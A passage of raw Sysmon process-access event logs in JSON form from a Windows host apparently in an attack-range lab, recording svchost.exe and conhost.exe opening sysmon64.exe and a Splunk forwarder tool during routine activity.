C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.838\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407A-5F2D-0000-0010090E0500}\r\nTargetProcessId: 2864\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 